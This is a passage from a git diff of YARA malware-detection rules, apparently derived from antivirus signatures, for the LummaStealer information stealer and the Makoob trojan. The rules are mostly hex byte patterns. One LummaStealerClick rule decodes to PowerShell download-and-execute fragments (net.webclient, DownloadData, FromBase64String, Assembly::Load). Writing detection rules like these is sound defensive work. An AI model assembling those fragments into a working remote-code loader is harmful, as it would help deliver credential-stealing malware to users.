b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZWK_MTB.yar new file mode 100644 index 0000000000..be35be08cf --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZWK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZWK_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZWK!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {30 7c 19 d4 af 9b 62 b1 4f db 10 a2 a8 1c 4e f7 b2 33 05 49 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZZA_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZZA_MTB.yar new file mode 100644 index 0000000000..8fbc36db3a --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZZA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZZA_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZZA!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {2e 46 82 b7 6f 29 d9 11 d0 0b 2c 95 58 f3 dd 6c 4b a3 76 13 8c a7 e2 df 3a 24 fc 69 75 81 e7 a6 aa 97 a8 65 93 5d ec a0 23 61 25 0c 05 19 71 a6 c7 6c d7 99 17 db f5 38 1a 57 39 fe 13 a2 fa a6 10 40 00 04 81 14 00 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZZB_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZZB_MTB.yar new file mode 100644 index 0000000000..837cc58692 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZZB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZZB_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZZB!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {b6 0e 8d 51 f7 83 fa 17 77 08 0f a3 d0 73 03 46 eb ed 89 34 24 80 f9 7d 0f 85 cc 01 00 00 46 85 db 74 06 8b 44 24 08 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZZC_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZZC_MTB.yar new file mode 100644 index 0000000000..b85f1f5464 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZZC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZZC_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZZC!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {77 45 d8 b1 3b f8 7f 3c eb d6 bc 73 5f 61 84 c2 65 d2 ab c3 b5 5d 60 1e 05 f6 6d 1d 07 4f 44 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZZD_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZZD_MTB.yar new file mode 100644 index 0000000000..3edb0826f3 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZZD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZZD_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZZD!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {43 24 c3 78 8f 20 2f 5c } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZZF_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZZF_MTB.yar new file mode 100644 index 0000000000..633251a64d --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZZF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZZF_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZZF!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {5e 38 d3 d9 03 d9 14 42 28 a8 f4 7b 00 77 b9 ae 50 60 fa 16 46 74 62 9d f5 ce d3 15 a8 c9 4c af 11 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_Z_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_Z_MTB.yar index f9bace0feb..48a690a9e9 100644 --- a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_Z_MTB.yar +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_Z_MTB.yar @@ -1,5 +1,28 @@ rule Trojan_Win32_LummaStealer_Z_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.Z!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 00 " + + strings : + $a_02_0 = {31 c9 85 c0 0f 95 c1 8b 04 8d ?? ?? ?? ?? b9 ?? ?? ?? ?? 33 0d ?? ?? ?? ?? 01 c8 40 ff e0 } //1 + $a_02_1 = {89 ca 81 ca ?? ?? ?? ?? 81 f1 ?? ?? ?? ?? 21 d1 8d 34 09 f7 d6 01 ce 21 d6 01 f0 40 31 db ff e0 } //1 + $a_02_2 = {0f b6 c0 8b 04 85 ?? ?? ?? ?? b9 ?? ?? ?? ?? 33 0d ?? ?? ?? ?? 01 c8 40 ff e0 } //1 + $a_00_3 = {01 c8 40 ff e0 } //1 + condition: + ((#a_02_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=2 + +} +rule Trojan_Win32_LummaStealer_Z_MTB_2{ + meta: + description = "Trojan:Win32/LummaStealer.Z!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_02_0 = {34 24 8b 54 24 10 8b 0c 82 89 5c 24 0c 8b 04 9a 8b 04 87 89 7c 24 04 8b 0c 8f 0f b7 74 05 1c 0f b7 5c 0d 1c 89 f2 89 74 24 14 39 de 72 02 89 da 89 5c 24 28 8d 34 28 8d 1c 28 83 c3 2e 8d 04 32 83 c0 2e 89 44 24 08 85 d2 74 4e 01 e9 83 c1 2e ?? ?? ?? ?? ?? 0f b6 13 89 d0 04 bf 3c 1a 73 03 80 c2 20 89 d6 0f b6 01 89 c2 80 c2 bf 80 fa 1a 73 02 04 20 8b 7c 24 04 89 f2 38 c2 } //1 + condition: + ((#a_02_0 & 1)*1) >=1 + +} +rule Trojan_Win32_LummaStealer_Z_MTB_3{ meta: description = "Trojan:Win32/LummaStealer.Z!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " @@ -15,7 +38,7 @@ rule Trojan_Win32_LummaStealer_Z_MTB{ ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=7 } -rule Trojan_Win32_LummaStealer_Z_MTB_2{ +rule Trojan_Win32_LummaStealer_Z_MTB_4{ meta: description = "Trojan:Win32/LummaStealer.Z!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 00 " @@ -33,7 +56,7 @@ rule Trojan_Win32_LummaStealer_Z_MTB_2{ ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1) >=9 } -rule Trojan_Win32_LummaStealer_Z_MTB_3{ +rule Trojan_Win32_LummaStealer_Z_MTB_5{ meta: description = "Trojan:Win32/LummaStealer.Z!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 00 " @@ -50,7 +73,7 @@ rule Trojan_Win32_LummaStealer_Z_MTB_3{ ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=8 } -rule Trojan_Win32_LummaStealer_Z_MTB_4{ +rule Trojan_Win32_LummaStealer_Z_MTB_6{ meta: description = "Trojan:Win32/LummaStealer.Z!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 00 " @@ -67,7 +90,7 @@ rule Trojan_Win32_LummaStealer_Z_MTB_4{ ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_02_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=8 } -rule Trojan_Win32_LummaStealer_Z_MTB_5{ +rule Trojan_Win32_LummaStealer_Z_MTB_7{ meta: description = "Trojan:Win32/LummaStealer.Z!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 00 " @@ -91,7 +114,7 @@ rule Trojan_Win32_LummaStealer_Z_MTB_5{ ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1+(#a_81_13 & 1)*1+(#a_81_14 & 1)*1) >=15 } -rule Trojan_Win32_LummaStealer_Z_MTB_6{ +rule Trojan_Win32_LummaStealer_Z_MTB_8{ meta: description = "Trojan:Win32/LummaStealer.Z!MTB,SIGNATURE_TYPE_PEHSTR_EXT,4a 00 4a 00 15 00 00 " @@ -120,4 +143,148 @@ rule Trojan_Win32_LummaStealer_Z_MTB_6{ condition: ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1+(#a_81_13 & 1)*1+(#a_81_14 & 1)*10+(#a_81_15 & 1)*10+(#a_81_16 & 1)*10+(#a_81_17 & 1)*10+(#a_00_18 & 1)*10+(#a_00_19 & 1)*10+(#a_00_20 & 1)*10) >=74 +} +rule Trojan_Win32_LummaStealer_Z_MTB_9{ + meta: + description = "Trojan:Win32/LummaStealer.Z!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 00 " + + strings : + $a_01_0 = {3d 74 05 83 f8 2e 75 01 } //1 + $a_01_1 = {3d 74 05 83 f9 2e 75 01 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=1 + +} +rule Trojan_Win32_LummaStealer_Z_MTB_10{ + meta: + description = "Trojan:Win32/LummaStealer.Z!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {26 60 08 01 b3 85 d7 34 66 85 80 b5 4a a9 2b 43 09 2a d6 47 e5 d2 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_Win32_LummaStealer_Z_MTB_11{ + meta: + description = "Trojan:Win32/LummaStealer.Z!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {d3 e6 09 f2 89 57 48 01 c8 89 47 44 83 f8 08 72 39 8b 74 24 08 eb 14 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_Win32_LummaStealer_Z_MTB_12{ + meta: + description = "Trojan:Win32/LummaStealer.Z!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {89 56 48 83 c0 f8 89 46 44 83 f8 07 76 42 8b 4e 30 3b 4e 34 73 e7 8d 41 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_Win32_LummaStealer_Z_MTB_13{ + meta: + description = "Trojan:Win32/LummaStealer.Z!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {39 77 28 73 25 56 ff 77 2c ff 77 20 ff 71 34 ff 51 30 83 c4 10 85 c0 0f 84 7c 02 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_Win32_LummaStealer_Z_MTB_14{ + meta: + description = "Trojan:Win32/LummaStealer.Z!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {7a 36 14 1b 4f b1 6b 6b 91 3c f8 0c ed 40 a6 38 f9 ef 8b 67 d6 8c b2 1b af 31 c5 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_Win32_LummaStealer_Z_MTB_15{ + meta: + description = "Trojan:Win32/LummaStealer.Z!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {fd 41 80 e5 29 41 80 e2 10 45 08 ea 45 08 df 41 80 e3 29 80 e1 d6 44 08 d9 44 30 d1 41 f6 d7 41 08 cf 89 d9 20 d1 30 da 08 ca 44 89 f9 f6 d1 20 d1 f6 d2 44 20 fa 08 ca 44 08 c8 f6 d0 89 d1 20 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_Win32_LummaStealer_Z_MTB_16{ + meta: + description = "Trojan:Win32/LummaStealer.Z!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {4c 63 52 3c 4d 03 c2 4d 8b d0 4c 89 55 b8 4c 89 45 b0 45 33 c9 66 41 81 7a 18 0b 02 41 0f 94 c1 44 89 4d ac 45 85 c9 4d 8b d8 4d 0f 45 da 4c 89 5d a0 b9 60 00 00 00 89 4d 9c bb 18 00 00 00 48 63 c9 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_Win32_LummaStealer_Z_MTB_17{ + meta: + description = "Trojan:Win32/LummaStealer.Z!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {0f b6 1c 38 88 1c 39 0f b6 5c 38 ff 88 5c 39 ff 0f b6 5c 38 fe 88 5c 39 fe 0f b6 5c 38 fd 88 5c 39 fd 0f b6 5c 38 fc 88 5c 39 fc 0f b6 5c 38 fb 88 5c 39 fb 0f b6 5c 38 fa 88 5c 39 fa 0f b6 5c 38 f9 88 5c 39 f9 83 c7 f8 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_Win32_LummaStealer_Z_MTB_18{ + meta: + description = "Trojan:Win32/LummaStealer.Z!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {44 20 f3 45 88 d3 41 20 fb 41 30 fa 45 08 d3 41 88 ea 41 80 f2 ff 40 88 df 40 80 f7 ff 41 88 f6 41 80 f6 01 45 88 d7 41 80 e7 ff 44 20 f5 41 88 fc 41 80 e4 ff 44 20 f3 41 08 ef 41 08 dc 45 30 e7 41 08 fa 41 80 f2 ff 41 80 ce 01 45 20 f2 45 08 d7 45 88 da 41 80 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_Win32_LummaStealer_Z_MTB_19{ + meta: + description = "Trojan:Win32/LummaStealer.Z!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {41 30 c7 40 88 f0 34 ff 45 88 f4 41 80 f4 ff 41 88 fd 41 80 f5 00 88 c1 80 e1 00 44 20 ee 44 88 e2 80 e2 00 45 20 ee 40 08 f1 44 08 f2 30 d1 44 08 e0 34 ff 41 80 cd 00 44 20 e8 08 c1 40 88 f8 34 00 44 88 fa 80 f2 ff 40 88 fe 40 80 f6 01 41 88 c6 41 80 e6 ff 41 88 f4 41 80 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_Win32_LummaStealer_Z_MTB_20{ + meta: + description = "Trojan:Win32/LummaStealer.Z!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {3c af c6 43 3d c1 c6 43 3e e0 c6 43 3f c7 c6 43 40 8c c6 43 41 c5 c6 43 42 ab c6 43 43 cb c6 43 44 a6 c6 43 45 c9 c6 43 46 a3 c6 43 47 cf c6 43 48 5b c6 43 49 cd c6 43 4a b0 c6 43 4b f3 c6 43 4c 9a c6 43 4d f1 c6 43 4e 61 c6 43 4f f7 c6 43 50 64 c6 43 51 f5 c6 43 52 9f c6 43 53 fb c6 43 54 65 c6 43 55 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_Win32_LummaStealer_Z_MTB_21{ + meta: + description = "Trojan:Win32/LummaStealer.Z!MTB,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {48 5c 51 3a 1d ab d9 02 2b 28 3b 82 87 c3 08 c6 2e f4 5a b9 27 fd 1e 8e 28 6f 1f f5 17 06 f3 44 2f 35 77 ca 2a 48 ef b6 05 d8 59 22 61 3e ed e6 12 8c 2b d8 77 29 90 12 ac 0f 49 1c 8b dc fd 84 e4 44 f7 08 0c 1b fb 25 5b cc 8b a6 59 d7 77 70 2f b7 1f 6e 5b a0 94 0a 72 4c 37 a5 71 24 a8 23 70 fb 9a cd 3c 1a 37 22 59 1b d8 42 0f f7 2a ca dd a6 e5 0f 8e a5 c5 a4 6c e6 ec 01 fa 0b 49 63 69 aa bd 85 f5 d8 83 5b bb 42 0e 6a 7a 0e d1 0d cc d9 94 85 7a 8a 89 7d 5f e9 b1 99 f9 41 0f 48 d8 5e 24 5c a9 } //1 + $a_01_1 = {03 87 85 a2 e9 e5 c9 b6 13 5b 6c d0 2f da 86 22 fc 0b 5e 2a e7 1d 7c 1e bb 5c 5f 29 c3 46 3e 82 a3 6c 59 78 cf 57 91 5e 8a 76 33 db b7 7c df 50 d3 80 f6 4a 63 a7 d5 bf 7c 3a 78 b8 42 8c 21 83 61 9f e2 63 66 99 6e fb 5e b2 9e ac ca 96 42 f2 19 aa 79 07 7d d4 43 34 a1 1f 73 3f 82 d3 bd c9 93 34 ca a8 19 71 e0 ca a9 06 c0 5b 9b ae bb c1 69 f4 8a 1b ed 7c d6 01 31 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} +rule Trojan_Win32_LummaStealer_Z_MTB_22{ + meta: + description = "Trojan:Win32/LummaStealer.Z!MTB,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {7e 51 92 9b 7b 01 b1 5a b9 b5 da e8 09 a9 1a fd 78 b8 da 5d 35 72 cb 27 d2 e8 } //1 + $a_01_1 = {fc 06 93 24 ae 01 21 d2 28 2a ab 86 13 bd 37 48 f9 a8 ce 94 ff 03 b1 21 bf d3 f5 f5 54 5e c5 6e 27 20 7d 1b f9 fb 26 f4 d0 f3 02 76 57 09 83 c6 84 c0 21 ee 6b ef b8 b2 7a 02 54 75 af d8 73 0f 3f 4c c3 54 e0 ee d9 75 31 e1 ab bc 9e 45 10 0b 0c bf b8 f9 f4 f3 56 73 8e 76 2e a5 18 ba ce f8 ad 9b 0d 03 73 9b a9 e1 b3 e2 5e 7c b3 ca fd 7f 59 31 aa f3 27 06 ab 25 7d 9e 3f dc 03 7d 85 ba 9f 35 80 cd b1 7f 19 a9 39 ff 9c 3e 5b d3 41 e4 fc 65 a2 81 fd 6b d3 7d 94 1f 57 05 60 a9 b6 f1 57 09 76 2e c0 c0 57 ef b6 0a e9 21 d2 45 62 ff ae 50 3f 3d 07 49 e7 34 5f ab 9c 51 cb 1d 33 7b a1 ef bc 5b eb 14 97 42 2f 33 b4 56 ad e0 f3 17 e0 5e 6f 15 8c 54 3e 20 54 f2 ea c1 98 6d 64 } //1 + $a_01_2 = {e6 93 0f 32 8a 62 79 64 3f af 6a 4f 55 34 cf d2 aa 0a 05 a1 d2 b7 1f 29 bb 1f 1b be 5a 4a 29 f8 8e f9 46 71 74 71 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + } \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_Lummastealer_MBY_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_Lummastealer_MBY_MTB.yar new file mode 100644 index 0000000000..4d7972a04a --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_Lummastealer_MBY_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_Lummastealer_MBY_MTB{ + meta: + description = "Trojan:Win32/Lummastealer.MBY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 04 00 00 " + + strings : + $a_01_0 = {2e 72 64 61 74 61 00 00 20 c9 0b 00 00 70 10 00 00 ca 0b 00 00 62 10 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 14 00 00 00 40 1c 00 00 0a 00 00 00 2c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 88 03 01 00 00 60 1c 00 00 04 01 00 00 36 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 bb 00 00 00 70 1d } //10 + $a_01_1 = {2e 74 65 78 74 00 00 00 cd 5b 10 00 00 10 00 00 00 5c 10 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 20 c9 0b 00 00 70 10 00 00 ca 0b 00 00 60 10 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 14 00 00 00 40 1c 00 00 0a 00 00 00 2a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 } //10 + $a_01_2 = {57 56 89 ce 83 79 04 00 74 52 0f b7 56 0c 66 85 d2 74 0a 66 83 66 0c 00 31 c0 40 eb 54 8d 7e 04 } //1 + $a_03_3 = {e9 0a 81 c9 ?? ?? ?? ?? 81 e2 ?? ?? ?? ?? 81 ca ?? ?? ?? ?? 66 89 56 0c 31 c0 40 89 ca } //1 + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*10+(#a_01_2 & 1)*1+(#a_03_3 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealerClick/Trojan_Win32_LummaStealerClick_X_MTB.yar b/Trojan/Win32/LummaStealerClick/Trojan_Win32_LummaStealerClick_X_MTB.yar index 149e240783..970dad76be 100644 --- a/Trojan/Win32/LummaStealerClick/Trojan_Win32_LummaStealerClick_X_MTB.yar +++ b/Trojan/Win32/LummaStealerClick/Trojan_Win32_LummaStealerClick_X_MTB.yar @@ -5,9 +5,9 @@ rule Trojan_Win32_LummaStealerClick_X_MTB{ strings : $a_00_0 = {6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 } //10 net.webclient - $a_00_1 = {5b 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 72 00 65 00 66 00 6c 00 65 00 63 00 74 00 69 00 6f 00 6e 00 2e 00 61 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 5d 00 3a 00 3a 00 6c 00 6f 00 61 00 64 00 28 00 24 00 } //10 [system.reflection.assembly]::load($ + $a_00_1 = {72 00 65 00 66 00 6c 00 65 00 63 00 74 00 69 00 6f 00 6e 00 2e 00 61 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 5d 00 3a 00 3a 00 6c 00 6f 00 61 00 64 00 28 00 24 00 } //10 reflection.assembly]::load($ $a_00_2 = {2e 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 28 00 24 00 } //10 .invoke($ - $a_00_3 = {5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //10 [System.Convert]::FromBase64String($ + $a_00_3 = {2e 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //10 .Convert]::FromBase64String($ $a_00_4 = {2e 00 47 00 65 00 74 00 4d 00 65 00 74 00 68 00 6f 00 64 00 28 00 } //10 .GetMethod( $a_00_5 = {68 00 74 00 74 00 70 00 } //10 http $a_00_6 = {2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 44 00 61 00 74 00 61 00 28 00 24 00 } //10 .DownloadData($ diff --git a/Trojan/Win32/Makoob/Trojan_Win32_Makoob_GVA_MTB.yar b/Trojan/Win32/Makoob/Trojan_Win32_Makoob_GVA_MTB.yar new file mode 100644 index 0000000000..3fca818cbc --- /dev/null +++ b/Trojan/Win32/Makoob/Trojan_Win32_Makoob_GVA_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_Makoob_GVA_MTB{ + meta: + description = "Trojan:Win32/Makoob.GVA!MTB,SIGNATURE_TYPE_PEHSTR,08 00 08 00 06 00 00 " + + strings : + $a_01_0 = {75 00 6e 00 63 00 6f 00 6c 00 6c 00 61 00 70 00 73 00 61 00 62 00 6c 00 65 00 20 00 68 00 79 00 61 00 65 00 6e 00 6f 00 64 00 6f 00 6e 00 } //1 uncollapsable hyaenodon + $a_01_1 = {70 00 61 00 72 00 61 00 6c 00 6c 00 61 00 78 00 65 00 73 00 20 00 66 00 6f 00 72 00 6c 00 61 00 67 00 73 00 72 00 65 00 64 00 61 00 6b 00 74 00 72 00 65 00 6e 00 } //1 parallaxes forlagsredaktren + $a_01_2 = {75 00 6e 00 73 00 69 00 6d 00 70 00 6c 00 65 00 6e 00 65 00 73 00 73 00 2e 00 65 00 78 00 65 00 } //1 unsimpleness.exe + $a_01_3 = {72 00 65 00 76 00 6f 00 6b 00 65 00 20 00 71 00 75 00 61 00 72 00 74 00 65 00 72 00 6d 00 61 00 73 00 74 00 65 00 72 00 73 00 20 00 73 00 70 00 6f 00 72 00 6f 00 67 00 65 00 6e 00 69 00 63 00 } //3 revoke quartermasters sporogenic + $a_01_4 = {53 00 65 00 53 00 68 00 75 00 74 00 64 00 6f 00 77 00 6e 00 50 00 72 00 69 00 76 00 69 00 6c 00 65 00 67 00 65 00 } //1 SeShutdownPrivilege + $a_01_5 = {61 00 76 00 6c 00 65 00 64 00 79 00 67 00 74 00 69 00 67 00 68 00 65 00 64 00 73 00 } //1 avledygtigheds + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*3+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/Makoob/Trojan_Win32_Makoob_SCE_MTB.yar b/Trojan/Win32/Makoob/Trojan_Win32_Makoob_SCE_MTB.yar new file mode 100644 index 0000000000..e8b921d95d --- /dev/null +++ b/Trojan/Win32/Makoob/Trojan_Win32_Makoob_SCE_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Makoob_SCE_MTB{ + meta: + description = "Trojan:Win32/Makoob.SCE!MTB,SIGNATURE_TYPE_PEHSTR,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {76 00 65 00 64 00 68 00 65 00 66 00 74 00 6e 00 69 00 6e 00 67 00 65 00 72 00 20 00 6d 00 61 00 6c 00 61 00 64 00 69 00 76 00 65 00 } //2 vedheftninger maladive + $a_01_1 = {63 00 69 00 76 00 69 00 6c 00 69 00 73 00 65 00 72 00 20 00 73 00 70 00 69 00 6b 00 69 00 65 00 73 00 74 00 20 00 65 00 6b 00 73 00 74 00 72 00 61 00 6e 00 75 00 6d 00 6d 00 65 00 72 00 } //2 civiliser spikiest ekstranummer + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Makoob/Trojan_Win32_Makoob_SERY_MTB.yar b/Trojan/Win32/Makoob/Trojan_Win32_Makoob_SERY_MTB.yar new file mode 100644 index 0000000000..c2fa8fdb7b --- /dev/null +++ b/Trojan/Win32/Makoob/Trojan_Win32_Makoob_SERY_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Makoob_SERY_MTB{ + meta: + description = 